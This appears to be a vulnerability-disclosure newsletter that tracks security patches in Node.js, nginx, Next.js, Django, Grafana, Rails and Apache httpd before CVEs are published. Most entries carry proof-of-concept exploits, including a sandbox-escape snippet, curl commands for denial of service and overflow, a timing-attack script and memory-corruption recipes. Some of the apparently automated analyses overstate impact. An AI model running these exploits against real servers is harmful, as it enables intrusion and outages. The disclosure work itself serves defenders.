📰 Vulnerability Spoiler Alert


“Exposing patches before CVEs since 2025”

Wednesday, August 12, 2026

📋 Today’s Briefing

373
Total Findings
92
Confirmed CVEs
204
Verified
9
Unverified
68
False Positives
CRITICAL: 3 HIGH: 150 MEDIUM: 131 LOW: 21
92 CVE matched
72 found before CVE
3 avg lead (days)
76 max lead (days)

CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-48928 Authentication Bypass

Jun 18, 2026, 04:29 AM — nodejs/node

📈 Patch landed 7 days 23 hours 2 minutes before CVE published

Commit: c68711fd3f0d5495fd89080a6fc182d50a1a8efd

Author: Matteo Collina

The `addContext()` method in Node.js TLS server constructed a RegExp without the case-insensitive flag 'i', causing SNI hostname matching to be case-sensitive. Since RFC 6066 specifies DNS hostnames are case-insensitive, an attacker in an mTLS configuration could send an uppercase or mixed-case SNI hostname (e.g., 'A.EXAMPLE.COM' instead of 'a.example.com') to bypass the per-tenant TLS context and its associated client certificate requirements, falling back to the default context which may have no or weaker client authentication. The fix adds the 'i' flag to the RegExp so matching is case-insensitive.

🔍 View Affected Code & PoC

Affected Code

servername
  .replace(/([.^$+?\-\\[\]{}])/g, '\\$1')
  .replaceAll('*', '[^.]*')
}$`);

Proof of Concept

In an mTLS server where 'a.example.com' context requires client certificates:

const tls = require('tls');
const server = tls.createServer(defaultOptions);
server.addContext('a.example.com', { key, cert, ca, requestCert: true, rejectUnauthorized: true });

// Attacker connects with uppercase SNI, bypassing the client cert requirement:
const client = tls.connect({
  port: server.address().port,
  servername: 'A.EXAMPLE.COM',  // uppercase bypasses per-tenant context
  rejectUnauthorized: false
  // No client certificate provided
});
// Before patch: connection succeeds using default context (no client cert required)
// After patch: connection uses the correct context requiring client cert, and fails without one

🔥 HIGH VERIFIED Unhandled Exception / Denial of Service

Jun 18, 2026, 12:00 AM — nodejs/node

Commit: 6cde2370268f6918f4caa7d2f712ef22db90eb1e

Author: Antoine du Hamel

Before the patch, exceptions thrown by TLS event listeners (resumeSession, OCSPRequest, newSession) were not caught and would propagate as uncaught exceptions, potentially crashing the Node.js process. A remote attacker could trigger these code paths by sending specially crafted TLS handshake data, causing the server to crash due to an uncaught exception from a user-supplied callback. The patch wraps these event emissions in try-catch blocks and routes errors through proper TLS error handlers (tlsClientError or server error events) instead.

🔍 View Affected Code & PoC

Affected Code

if (!owner.server.emit('resumeSession', hello.sessionId, onSession)) {
  // ...
}

socket.server.emit('OCSPRequest', ctx.getCertificate(), ctx.getIssuer(), onOCSP);

if (!owner.server.emit('newSession', sessionId, session, done))
  done();

Proof of Concept

const tls = require('tls');
const server = tls.createServer({
  key: fs.readFileSync('server-key.pem'),
  cert: fs.readFileSync('server-cert.pem'),
  sessionTimeout: 3600,
});
server.on('resumeSession', (id, cb) => {
  throw new Error('crash the server');
});
// No error handler - exception propagates as uncaught, crashing the process
server.listen(8443);
// Attacker connects twice with session resumption to trigger resumeSession event
// First connection establishes session, second connection triggers resumeSession
// The thrown error becomes an uncaught exception, crashing the Node.js server

⚠️ MEDIUM VERIFIED Denial of Service (Request Handling Bypass)

Jun 17, 2026, 03:41 PM — vercel/next.js

Commit: f2ddd134e70fd66e411d829b45d4de581f1b66be

Author: Tim Neutkens

A non-RSC HTML request with the `Next-Router-Prefetch: 1` header set could cause the server to enter the partial prefetch tree path, produce a null active cache node, and suspend the HTML render indefinitely until a timeout occurred. This could be triggered by any external client sending crafted HTTP headers to a Next.js App Router application, effectively causing a denial of service by hanging render threads. The fix ensures prefetch routing headers are only respected when the request is also a valid RSC request.

🔍 View Affected Code & PoC

Affected Code

const isPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '1'
const isAppShellPrefetchRequest = headers[NEXT_ROUTER_PREFETCH_HEADER] === '3'
const isRuntimePrefetchRequest =
  headers[NEXT_ROUTER_PREFETCH_HEADER] === '2' || isAppShellPrefetchRequest
const isRSCRequest = isRSCRequestHeader(headers[RSC_HEADER])

Proof of Concept

curl -H 'Next-Router-Prefetch: 1' https://target-nextjs-app.example.com/

This causes the Next.js App Router server to treat the plain HTML request as a prefetch request, entering the partial prefetch tree path, producing a null active cache node, and hanging the render until timeout (effectively a DoS). A malicious actor can flood the server with such requests to exhaust render threads.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jun 17, 2026, 02:40 PM — nginx/nginx

Commit: 875750a4f76bf68189929f887951e02b66c99801

Author: Roman Arutyunyan

In nginx's HTTP/3 QPACK dynamic table implementation, the insert buffer was allocated using the current table capacity (`dt->capacity`) rather than the maximum table capacity (`h3scf->max_table_capacity`). Since the table capacity can be increased later via a Set Dynamic Table Capacity instruction, subsequent insertions into the dynamic table could write beyond the initially allocated buffer, leading to a heap buffer overflow. The fix allocates the buffer using the configured maximum table capacity upfront to prevent overflow.

🔍 View Affected Code & PoC

Affected Code

if (dt->insert_buffer == NULL) {
        dt->insert_buffer = ngx_create_temp_buf(c->pool, dt->capacity);
        if (dt->insert_buffer == NULL) {
            return NULL;
        }
    }

Proof of Concept

1. Connect to nginx server with HTTP/3 enabled.
2. Send a QPACK encoder stream with a Set Dynamic Table Capacity instruction that increases capacity beyond the initial value (e.g., set capacity to 4096 when it starts at 0 or a small value).
3. The insert_buffer is allocated at step of first use with dt->capacity (the current/initial capacity, possibly 0 or small).
4. Then send Insert Header Field instructions that together exceed the originally allocated buffer size but are within the new (larger) capacity.
5. This causes writes beyond the heap buffer boundary, potentially corrupting adjacent heap memory, leading to denial of service or remote code execution.
CONFIRMED CVE

💣 CRITICAL CONFIRMED CVE CVE-2026-42530 Use-After-Free

Jun 17, 2026, 02:40 PM — nginx/nginx

📈 Patch landed 3 hours 55 minutes before CVE published

Commit: ceccdbd2ee799d020a371b9420bdacb9cf273aa7

Author: Roman Arutyunyan

The insert buffer for HTTP/3 QPACK dynamic table was allocated from the encoder stream's memory pool (`c->pool`) rather than the parent connection's pool (`c->quic->parent->pool`). When the encoder stream was closed and a new encoder stream was opened, the old pool would be freed but `dt->insert_buffer` would still point into that freed memory, causing a use-after-free. An attacker can trigger this by closing and reopening the QUIC encoder stream while QPACK dynamic table insertions are in progress.

🔍 View Affected Code & PoC

Affected Code

dt->insert_buffer = ngx_create_temp_buf(c->pool,
                                                h3scf->max_table_capacity);

Proof of Concept

1. Establish an HTTP/3 connection to nginx.
2. Open the QPACK encoder stream and send some dynamic table insert instructions (e.g., Insert With Name Reference) to populate dt->insert_buffer allocated from the encoder stream pool.
3. Close the encoder stream (sending a FIN or RST_STREAM on the unidirectional encoder stream), causing its pool to be freed.
4. Open a new QPACK encoder stream on the same connection.
5. Send further encoder instructions — nginx will now use dt->insert_buffer which points into freed memory from the old stream pool, resulting in a use-after-free that can lead to memory corruption or remote code execution.

🔥 HIGH VERIFIED Use-After-Free / State Corruption via Stream Recreation

Jun 17, 2026, 02:40 PM — nginx/nginx

Commit: 9e293766e73c469c015df5341f1c1d403fb532c6

Author: Roman Arutyunyan

Before the patch, nginx HTTP/3 used `h3c->known_streams\[index\]` (a pointer that could be NULL after a stream closes) to check whether a standard unidirectional stream (control/encoder/decoder) had already been created. Because stream closure and new stream creation are asynchronous and can happen within the same event-loop iteration, a malicious client could close a control/encoder/decoder stream and immediately open a new one of the same type. The server would see `known_streams\[index\] == NULL` (set by the close handler) and allow the new stream, potentially reusing or corrupting shared parsing state such as the QPACK encoder insert buffer. The fix introduces a persistent `created_streams` bitmask that is never cleared, preventing any stream type from being registered a second time regardless of whether the previous instance was closed.

🔍 View Affected Code & PoC

Affected Code

if (h3c->known_streams[index]) {
    ngx_log_error(NGX_LOG_INFO, c->log, 0, "stream exists");
    return NGX_HTTP_V3_ERR_STREAM_CREATION_ERROR;
}
h3c->known_streams[index] = c;

Proof of Concept

1. Client opens a QUIC connection to nginx and creates the three mandatory unidirectional streams (control=0x02, encoder=0x06, decoder=0x0a).
2. Client sends a FIN on the encoder stream (stream type 0x02), causing nginx to set h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER] = NULL in ngx_http_v3_close_uni_stream().
3. In the same event-loop tick (before nginx processes the closure further), client opens a new QUIC unidirectional stream and sends stream-type byte 0x02 (encoder stream) again.
4. nginx evaluates `if (h3c->known_streams[NGX_HTTP_V3_STREAM_CLIENT_ENCODER])` → NULL → false, so it registers the new stream and reuses/reinitialises the QPACK encoder insert buffer shared state.
5. The attacker now controls two concurrent encoder streams; by sending crafted QPACK encoder instructions on both, they can corrupt the dynamic header table state, potentially causing out-of-bounds reads/writes in subsequent header decompression and leaking memory or crashing the worker process.
CONFIRMED CVE

💣 CRITICAL CONFIRMED CVE CVE-2026-42055 Buffer Overflow

Jun 17, 2026, 02:40 PM — nginx/nginx

📈 Patch landed 3 hours 55 minutes before CVE published

Commit: 26d824ec3a2f819300edce0ab3b055751c9843ff

Author: Roman Arutyunyan

Before this patch, nginx's HTTP/2 upstream modules (gRPC and proxy_v2) did not validate header field lengths before using them to calculate buffer sizes for HPACK encoding. An attacker could craft requests with extremely long header values (method, URI, host, or custom headers) exceeding NGX_HTTP_V2_MAX_FIELD, causing integer overflow in the `len` calculation (`1 + NGX_HTTP_V2_INT_OCTETS + very_large_value`) which would lead to under-allocation and subsequent heap buffer overflow when writing the encoded headers. The patch adds length checks that return NGX_ERROR before any buffer allocation occurs when headers exceed NGX_HTTP_V2_MAX_FIELD.

🔍 View Affected Code & PoC

Affected Code

len += 1 + NGX_HTTP_V2_INT_OCTETS + r->method_name.len;
tmp_len = r->method_name.len;
// ... later:
len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len;
// No bounds checking on these lengths before buffer allocation

Proof of Concept

Send an HTTP request through nginx to a gRPC or HTTP/2 upstream with an extremely long URI or custom header value exceeding NGX_HTTP_V2_MAX_FIELD (typically 2^24-1 or similar large value). For example:

curl -X POST 'http://nginx-server/grpc-endpoint' \
  -H 'Content-Type: application/grpc' \
  -H "X-Custom-Header: $(python3 -c 'print("A" * (2**24))' )" 

The `uri_len` or `val_len` value would cause integer overflow in `len += 1 + NGX_HTTP_V2_INT_OCTETS + uri_len`, resulting in a small allocation followed by out-of-bounds write when nginx populates the HPACK-encoded header buffer, potentially leading to remote code execution.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-48142 Out-of-bounds Read (Buffer Overread)

Jun 17, 2026, 02:40 PM — nginx/nginx

📈 Patch landed 3 hours 55 minutes before CVE published

Commit: 319a0bff157b15d9061f4712b2edbe6fdd2dee66

Author: Sergey Kandaurov

In nginx's charset filter module, the `recode_from_utf8()` function had a 1-byte out-of-bounds read when processing invalid UTF-8 sequences that were saved across buffer boundaries. The `ngx_utf8_decode()` function stops advancing the pointer on the first invalid byte, so when processing a partially-saved invalid UTF-8 sequence, the `saved` pointer could remain behind `ctx->saved\[ctx->saved_len\]`, causing a subsequent read of memory beyond the saved buffer. The fix ensures the pointer advances past the entire saved sequence in this case.

🔍 View Affected Code & PoC

Affected Code

ngx_log_debug0(NGX_LOG_DEBUG_HTTP, pool->log, 0,
               "http charset invalid utf 1");

    } else {

Proof of Concept

Send an HTTP response through nginx with charset conversion enabled (e.g., converting from UTF-8 to another charset like windows-1251), where the response body contains an invalid multi-byte UTF-8 sequence split across two buffer boundaries. For example, send a response body where the last byte of one buffer is 0xC0 (invalid UTF-8 start byte) followed by a continuation byte in the next buffer. This triggers the saved-sequence path with an invalid UTF-8 sequence, causing ngx_utf8_decode() to not advance the pointer, resulting in a 1-byte read past the end of the ctx->saved[] array. Configure: charset_filter_source_charset utf-8; charset windows-1251; Then send a body like: '\xc0\x80' split across buffer boundaries to trigger the overread.

⚠️ MEDIUM VERIFIED Information Disclosure / BCC Header Leak

Jun 16, 2026, 10:56 PM — django/django

Commit: 09434486302078c3649e034dfa74cf3f102db20b

Author: diaxoaine

Before the patch, passing a 'Bcc' key in the `extra_headers` argument of `EmailMessage` would cause the BCC addresses to be serialized directly into the email message headers, making them visible to all recipients. The `from`, `to`, `cc`, and `reply-to` headers were explicitly excluded from being written via `extra_headers`, but `bcc` was not, allowing it to leak into the message. The patch raises a `ValueError` when `Bcc` is found in `extra_headers`, directing users to use the `bcc` argument instead.

🔍 View Affected Code & PoC

Affected Code

for name, value in self.extra_headers.items():
    # Avoid headers handled above.
    if name.lower() not in {"from", "to", "cc", "reply-to"}:
        msg[name] = force_str(value, strings_only=True)

Proof of Concept

from django.core.mail import EmailMessage

email = EmailMessage(
    subject='Test',
    body='Hello',
    from_email='[email protected]',
    to=['[email protected]'],
    headers={'Bcc': '[email protected]'},
)
msg = email.message()
# Before patch: msg.as_string() would contain 'Bcc: [email protected]'
# visible to [email protected], defeating the purpose of BCC
print(msg.as_string())  # Exposes [email protected] to all recipients
CONFIRMED CVE

🔥 HIGH CONFIRMED CVE CVE-2026-10601 Path Traversal

Jun 16, 2026, 07:54 AM — grafana/grafana

📈 Patch landed 6 days 7 hours 36 minutes before CVE published

Commit: 82ef13993059351bf21de35b8488bbd9b42df4f4

Author: Mariell Hoversholm

The Loki data source plugin allowed path traversal attacks via the resource URL parameter. Before the patch, user-supplied URL segments were directly interpolated into the Loki API path without validation, allowing an attacker to use '../' sequences to escape the '/loki/api/v1/' prefix and access arbitrary backend endpoints. The fix adds URL parsing and path cleaning to reject any paths that don't remain within the '/loki/api/v1/' prefix.

🔍 View Affected Code & PoC

Affected Code

lokiURL := fmt.Sprintf("/loki/api/v1/%s", url)

ctx, span := tracer.Start(ctx, "datasource.loki.CallResource", trace.WithAttributes(
    attribute.String("url", lokiURL),
))

Proof of Concept

Send a CallResource request to the Loki datasource with url set to '../../../internal/metrics' or '%2e%2e%2f%2e%2e%2finternal/metrics'. This would construct lokiURL = '/loki/api/v1/../../../internal/metrics' which after path resolution becomes '/internal/metrics', allowing access to endpoints outside the Loki API namespace on the backend server.
BREAKING

💣 CRITICAL VERIFIED Sandbox Escape

Jun 12, 2026, 09:28 PM — vercel/next.js

Commit: 660026d50b77ccc9b119abf94894cd1cd4ff7fbf

Author: Janka Uryga

In Next.js edge runtime, the `setTimeout` and `setInterval` polyfills incorrectly used `globalThis` (the Node.js global object) instead of the sandboxed edge runtime context object when invoking callbacks via `.apply()`. This allowed malicious code running in the edge sandbox to access Node.js globals like `process.mainModule.require()` and escape the sandbox entirely, gaining access to the Node.js runtime including filesystem operations, arbitrary module loading, and other restricted APIs.

🔍 View Affected Code & PoC

Affected Code

function webSetTimeoutPolyfill(...) {
  return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}
function webSetIntervalPolyfill(...) {
  return callback.apply(globalThis, args) // wrong: uses Node.js globalThis
}

Proof of Concept

In an Edge Runtime route handler (e.g. app/route.ts with `export const runtime = 'edge'`):

export async function GET() {
  return new Promise((resolve) => {
    setTimeout(function() {
      // `this` is Node.js globalThis, not the sandbox global
      const fs = this.process.mainModule.require('fs')
      fs.writeFileSync('/tmp/pwned.txt', 'sandbox escaped!')
      resolve(new Response('escaped!'))
    })
  })
}

This writes a file to the server filesystem from within what should be an isolated edge sandbox, demonstrating full sandbox escape with access to Node.js internals.

🔥 HIGH VERIFIED Security Isolation Bypass / State Leakage

Jun 11, 2026, 04:05 PM — rails/rails

Commit: 8a55fbca4c653978cacb856784b386fe9ee8a27c

Author: Jean Boussier

In Rails applications using ActiveSupport::CurrentAttributes, declaring an attribute named `:attributes` causes the generated accessor to shadow the internal `attributes` writer that `reset` relies on. This means `reset` can no longer clear the per-request state stored in `@attributes`, causing sensitive data (user identity, account info, request context) to leak across requests. The patch replaces the hand-maintained denylist with a dynamically computed one that covers all internal methods.

🔍 View Affected Code & PoC

Affected Code

INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:

Proof of Concept

require 'active_support'
require 'active_support/current_attributes'

Current = Class.new(ActiveSupport::CurrentAttributes) do
  attribute :attributes  # shadows internal #attributes= used by reset
end

Current.instance.instance_variable_set(:@attributes, { attributes: { user_id: 42 } })
Current.reset
# After reset, @attributes is NOT cleared because the generated #attributes= shadowed the internal setter
puts Current.instance.instance_variable_get(:@attributes).inspect
# => {:attributes=>{:user_id=>42}}  -- sensitive data leaked to next request

🔥 HIGH VERIFIED State Isolation Bypass / Data Leakage Across Requests

Jun 11, 2026, 02:40 PM — rails/rails

Commit: 5e75351bf21f29d879a1cb184fb90ef259be5334

Author: Kenta Ishizaki

Declaring an attribute named `:attributes` in a subclass of `ActiveSupport::CurrentAttributes` shadows the internal `attributes` reader/writer that `reset` relies on to clear per-request state. This causes `reset` to stop clearing the state, leaking values across requests — exactly the isolation `CurrentAttributes` is designed to guarantee. The patch computes the invalid attribute names dynamically from the class's own methods, preventing any attribute declaration that would shadow internal methods.

🔍 View Affected Code & PoC

Affected Code

INVALID_ATTRIBUTE_NAMES = [:set, :reset, :resets, :instance, :before_reset, :after_reset, :reset_all, :clear_all].freeze # :nodoc:

Proof of Concept

require 'active_support'
require 'active_support/current_attributes'

C = Class.new(ActiveSupport::CurrentAttributes) do
  attribute :attributes  # shadows internal @attributes accessor
end

C.attributes = { user_id: 42, admin: true }
puts C.attributes.inspect  # => { user_id: 42, admin: true }
C.reset
puts C.attributes.inspect  # => { user_id: 42, admin: true } (NOT cleared!)
# State leaks across requests because reset calls `self.attributes = defaults`
# but the generated accessor has overwritten the internal one.

🔥 HIGH VERIFIED Buffer Overflow (Off-by-One)

Jun 11, 2026, 11:38 AM — apache/httpd

Commit: 8e210c28a1dfd84a1e9c4fb8fd3d646619639dfd

Author: Joe Orton

An off-by-one error in the socket path truncation logic in cgid_init() caused a one-byte buffer overflow when writing the null terminator. Before the patch, `tmp_sockname\[sizeof(server_addr->sun_path)\]` wrote a null byte one position past the end of the `sun_path` field in the `sockaddr_un` structure, corrupting adjacent memory. The patch corrects this to `tmp_sockname\[sizeof(server_addr->sun_path) - 1\]`, which properly null-terminates within bounds.

🔍 View Affected Code & PoC

Affected Code

if (strlen(tmp_sockname) > sizeof(server_addr->sun_path) - 1) {
    tmp_sockname[sizeof(server_addr->sun_path)] = '\0';

Proof of Concept

Configure Apache httpd with mod_cgid and set ScriptSock to a path exactly equal to sizeof(sun_path) characters (typically 108 bytes on Linux). When cgid_init() processes this path, it detects it's too long and attempts truncation by writing a null byte at index sizeof(server_addr->sun_path) (e.g., index 108), which is one byte past the end of the sun_path array (valid indices 0-107). This overwrites the first byte of whatever field follows sun_path in the sockaddr_un structure or adjacent heap/stack memory. Example: set ScriptSock to a 108-character path like '/tmp/AAAA...AAAA' (108 A's) in httpd.conf - the null write at offset 108 corrupts memory adjacent to the sun_path buffer.

🔥 HIGH VERIFIED Heap Buffer Overflow

Jun 11, 2026, 11:38 AM — apache/httpd

Commit: 489f5ef688fedb0139b4428bc04d0e18493e430f

Author: Joe Orton

In mod_cgid.c, `temp_core` was allocated using `sizeof(core_module)` instead of `sizeof(core_request_config)`. Since `core_module` is a module descriptor struct (typically much smaller than `core_request_config`), this results in allocating too little memory for the `core_request_config` structure. Subsequent writes to fields of `temp_core` beyond the allocated size would corrupt adjacent heap memory, potentially leading to crashes or memory corruption exploitable for privilege escalation or code execution.

🔍 View Affected Code & PoC

Affected Code

temp_core = (core_request_config *)apr_palloc(r->pool, sizeof(core_module));

Proof of Concept

Send a CGI request via mod_cgid that triggers get_req() to process a request. The daemon allocates sizeof(core_module) bytes (e.g., ~80 bytes on 64-bit) for a core_request_config struct (which is much larger). When the code writes fields like body_indeterminate, use_default_accept_ranges, etc. into temp_core, it overflows into adjacent pool memory. A crafted request that causes extensive use of core_request_config fields post-allocation could corrupt heap metadata or adjacent allocations, potentially causing a crash (DoS) or exploitable memory corruption in the cgid daemon process.

🔥 HIGH VERIFIED Heap Buffer Overflow / Memory Corruption

Jun 11, 2026, 11:37 AM — apache/httpd

Commit: d7ac43a29f73ed60dcb322abad41a93a10394784

Author: Joe Orton

Before the patch, the `get_req` function in mod_cgid read environment variable lengths (`curlen`) from a Unix socket without validating the size before allocating and reading into a buffer. A malicious or compromised cgid daemon (or a process that hijacked the socket) could send an extremely large `curlen` value, causing `apr_pcalloc` to allocate a huge buffer or triggering integer issues, and then reading that many bytes from the socket into the allocated region. Additionally, `uri_len` and `args_len` had no upper bound checks, and `env_count` was signed allowing negative values to bypass the `env_count < 0` check in certain scenarios. The patch adds `ENV_COUNT_MAX` (256) bound on env_count, upper bounds on uri_len and args_len (APR_PATH_MAX), and per-variable length validation (`curlen > APR_PATH_MAX`) in the environment reading loop.

🔍 View Affected Code & PoC

Affected Code

if (req->env_count < 0 || req->uri_len == 0
        || req->filename_len > APR_PATH_MAX || req->filename_len == 0
        || req->argv0_len > APR_PATH_MAX || req->argv0_len == 0
        || req->loglevel > APLOG_TRACE8) {
        return APR_EINVAL;
    }

Proof of Concept

A malicious client connecting to the cgid Unix socket sends a crafted cgid_req_t with env_count=1, valid filename/argv0/uri lengths, then sends a single environment variable with curlen=0xFFFFFFFF (4GB). The server calls `apr_pcalloc(r->pool, 0xFFFFFFFF + 1)` which wraps to 0 or allocates a tiny buffer, then `sock_read(fd, environ[0], 0xFFFFFFFF)` reads ~4GB into that tiny allocation, causing heap corruption. Exploit: craft socket message with env var length field set to `\xff\xff\xff\xff` (or large value exceeding APR_PATH_MAX) to trigger heap overflow in the worker process.

⚠️ MEDIUM VERIFIED Timing Side-Channel / Hash Comparison Timing Attack

Jun 10, 2026, 08:10 PM — nginx/nginx

Commit: bedf18f95d76b93d15335dee8c642b86e6baeac2

Author: Sergey Kandaurov

The nginx secure_link module used early-exit byte-by-byte MD5 hash comparison (ngx_memcmp and individual byte checks), which leaks timing information about how many bytes of the hash match. An attacker can exploit response time differences to incrementally determine the correct hash value byte-by-byte, eventually forging valid secure links without knowing the secret key. The patch replaces the comparison with a constant-time XOR accumulation that always examines all 16 bytes before returning a result.

🔍 View Affected Code & PoC

Affected Code

if (ngx_memcmp(hash_buf, md5_buf, 16) != 0) {
    goto not_found;
}

Proof of Concept

# Timing attack to recover valid secure link hash without knowing secret:
# For each byte position i (0-15), try all 256 possible hex byte values.
# Measure response time for each candidate - the correct byte value
# will take measurably longer to reject (or accept) due to early-exit comparison.
#
# Example script:
import requests, time, statistics

target = 'http://example.com/s/TOKEN/resource'
# For old-style secure_link, hash is hex-encoded in URL path
# Attacker measures timing for partial matches:
for byte_val in range(256):
    candidate = f'{byte_val:02x}' + 'xx' * 15  # vary first byte
    times = []
    for _ in range(100):
        start = time.perf_counter()
        r = requests.get(f'http://example.com/s/{candidate}/file')
        times.append(time.perf_counter() - start)
    print(f'{byte_val:02x}: avg={statistics.mean(times):.6f}s')
# The byte value with the highest avg response time reveals the correct first byte.
# Repeat for each subsequent byte position to recover the full 32-hex-char hash.

🔥 HIGH VERIFIED Broken Access Control / Authorization Bypass

Jun 10, 2026, 08:06 AM — grafana/grafana

Commit: d4f2ee742b336ba3d550e5d84a273312fc8ca575

Author: Mihai Turdean

When Zanzana resolved permissions and mapped them back to legacy RBAC format, the scope was derived from the action prefix rather than the resource type. For sub-resource actions like `folders.permissions:read`, this produced `folders.permissions:uid:&lt;uid&gt;` instead of `folders:uid:&lt;uid&gt;`. Since legacy RBAC's `canAdmin` check evaluates `EvalPermission(folders.permissions:read, folders:uid:&lt;uid&gt;)`, the scope never matched and a user with admin rights on a folder could not manage that folder's permissions even though they were authorized to do so. The fix scopes objects by the resource type Zanzana listed them under, ensuring correct permission matching.

🔍 View Affected Code & PoC

Affected Code

func scopeFromAction(action, name string) string {
	parts := strings.SplitN(action, ":", 2)
	if parts[0] == "" {
		return name
	}
	return ac.Scope(parts[0], "uid", name)
}

Proof of Concept

1. Grant user Alice 'admin' on folder uid='folder-123' in Zanzana.
2. Zanzana maps this to permissions including action='folders.permissions:read' scoped on 'folders.permissions:uid:folder-123'.
3. Legacy RBAC canAdmin check evaluates: EvalPermission('folders.permissions:read', 'folders:uid:folder-123').
4. The scope 'folders.permissions:uid:folder-123' != 'folders:uid:folder-123', so the check FAILS.
5. Result: Alice cannot manage permissions on folder-123 despite having admin rights, AND conversely, if an attacker could craft a token referencing 'folders.permissions:uid:X', they might match unintended permission checks that also use that malformed scope prefix.

🔥 HIGH VERIFIED Path Traversal

Jun 9, 2026, 03:52 PM — django/django

Commit: 46c5e76f0bcc76bfce19ad7ba07f716fc653a822

Author: ar3ph

When Django's `startproject` or `startapp` command downloads a template archive from a URL, the Content-Disposition header's filename was used directly with `os.path.join()` to construct a path within a temp directory. An attacker-controlled server could return a filename like `/nonexistent/../../etc/passwd` or an absolute path, causing the file to be written outside the intended temporary directory. The fix replaces `os.path.join()` with `safe_join()`, which raises `SuspiciousFileOperation` if the resulting path escapes the base directory.

🔍 View Affected Code & PoC

Affected Code

guessed_path = os.path.join(tempdir, guessed_filename)

Proof of Concept

Set up a malicious HTTP server that responds to template download requests with: `Content-Disposition: attachment; filename="/tmp/evil_file.tgz"`. Then run: `django-admin startproject --template http://malicious-server/template.tgz myproject`. Before the patch, `os.path.join('/tmp/tmpXXX', '/tmp/evil_file.tgz')` returns `/tmp/evil_file.tgz` (absolute path wins), causing `shutil.move()` to write the archive to an attacker-specified path outside the temp directory, potentially overwriting arbitrary files writable by the user.
CONFIRMED CVE

⚠️ MEDIUM CONFIRMED CVE CVE-2026-35193 Cache Poisoning / Improper Cache Control Bypass

Jun 9, 2026, 02:56 PM — django/django

Patch landed 5 days 23 hours 26 minutes after CVE published

Commit: 142b881cecaddc334cabec139e701c0e4b9798da

Author: Jacob Walls

The UpdateCacheMiddleware used a substring check (`directive in cache_control`) to detect Cache-Control directives like 'private', 'no-cache', 'no-store', and 'public'. This meant that an extension directive like 'myprivate' or 'nopublic' would be falsely matched, causing responses that should be cached to not be cached, or causing Authorization-based Vary headers to be incorrectly omitted. More critically, the inverse case for 'public' means that a response with a custom directive containing 'public' as a substring would skip the Authorization vary header, potentially serving a user-specific cached response to other users. The fix replaces substring matching with exact token matching using `split_header_value`.

🔍 View Affected Code & PoC

Affected Code

if cache_control and any(
    directive in cache_control
    for directive in (
        "private",
        "no-cache",
        "no-store",
    )
):

Proof of Concept

# An attacker or misconfigured app sets a Cache-Control header with a custom directive
# containing 'public' as a substring, e.g., 'nopublic':
#
# Response headers: Cache-Control: nopublic
# Request has Authorization header
#
# Before patch: 'public' in 'nopublic' == True, so the Authorization Vary header
# is NOT added, meaning the response may be cached and served to other users
# without varying on the Authorization header.
#
# Concrete test:
import requests
# Craft response with Cache-Control: nopublic
# GET /sensitive-view/ with Authorization: token abc123
# Django caches response without Vary: Authorization
# Second request from different user also gets the first user's cached response

⚠️ MEDIUM VERIFIED Sensitive Data Exposure / Secret Redaction Bypass

Jun 8, 2026, 07:54 PM — grafana/grafana

Commit: d0fa74cf094dc2e32db9f3e0007f951850bee14e

Author: Khalil Haji

Before the patch, the contact point settings redaction logic used case-sensitive key matching when identifying secret fields to redact. An attacker or user with write access could submit secret field keys with non-canonical casing (e.g., 'INTEGRATIONKEY' instead of 'integrationKey') to bypass redaction, causing the plaintext secret to be returned in API responses instead of being redacted. The patch makes the field extraction and redaction logic case-insensitive so secrets are properly identified and redacted regardless of key casing.

🔍 View Affected Code & PoC

Affected Code

func extractField(settings map[string]any, path schema.IntegrationFieldPath) (string, bool, error) {
	val, ok := settings[path.Head()]
	if !ok {
		return "", false, nil
	}

Proof of Concept

POST /api/v1/provisioning/contact-points with body: {"name": "test", "type": "pagerduty", "settings": {"INTEGRATIONKEY": "my-secret-key", "severity": "critical"}}. When subsequently GET /api/v1/provisioning/contact-points is called, the response would include {"settings": {"INTEGRATIONKEY": "my-secret-key"}} in plaintext instead of redacting it, because the redaction logic only matched the canonical key name 'integrationKey' (exact case) and failed to match 'INTEGRATIONKEY'.

🔥 HIGH VERIFIED Memory Accounting Bypass / Denial of Service

Jun 8, 2026, 11:53 AM — nodejs/node

Commit: ba82a4124a597908c1dbbf1819628c04bad4ca06

Author: Matteo Collina

Before this patch, when HTTP/2 header blocks were handed off to JavaScript (via HandleHeadersFrame), the memory they occupied was immediately decremented from the session's memory accounting (maxSessionMemory), even though the JS objects could still hold references to that header data for the lifetime of the stream. This meant an attacker could send many requests with large headers, and once the headers were dispatched to JS, that memory would no longer count against the session limit, allowing effectively unlimited memory consumption. The patch fixes this by retaining the header memory charge until the stream is removed from the session.

🔍 View Affected Code & PoC

Affected Code

DecrementCurrentSessionMemory(stream->current_headers_length_);
stream->current_headers_length_ = 0;

Proof of Concept

Connect to a Node.js HTTP/2 server with maxSessionMemory=1 (1MB limit), set initialWindowSize=0 (to stall DATA frames and keep streams alive), then send hundreds of requests each with large cookie headers (e.g., 120 'cookie: a=1' headers). Before the patch, each request's headers are decremented from session memory immediately after being dispatched to JS, so the server never rejects new streams with ENHANCE_YOUR_CALM despite exceeding the memory limit. This allows an attacker to consume unbounded server memory, causing OOM. The test added in this commit (test-http2-max-session-memory-stalled-headers.js) demonstrates the exploit: 400 requests with 120 cookie headers each, with window size 0 to keep streams stalled — before the patch, rejected would remain 0 and memory would grow unboundedly.

🔥 HIGH VERIFIED Cross-Site Scripting (XSS)

Jun 8, 2026, 09:50 AM — grafana/grafana

Commit: 512eb3fc36f289016f9c4c1f20779976e73d70f8

Author: Alex Khomenko

The LinkButton component in @grafana/ui rendered an &lt;a&gt; element with the href prop passed directly without sanitization. An attacker could inject a javascript: URL as the href value, which would execute arbitrary JavaScript when a user clicked the link. The patch extracts href from the spread props, sanitizes it via textUtil.sanitizeUrl (which neutralizes dangerous schemes like javascript:, data:, and vbscript: to about:blank), and places the sanitized value after {...otherProps} so it always wins.

🔍 View Affected Code & PoC

Affected Code

<a
  className={linkButtonStyles}
  {...otherProps}
  tabIndex={disabled ? -1 : 0}
  aria-disabled={disabled}
  ref={tooltip ? undefined : ref}

Proof of Concept

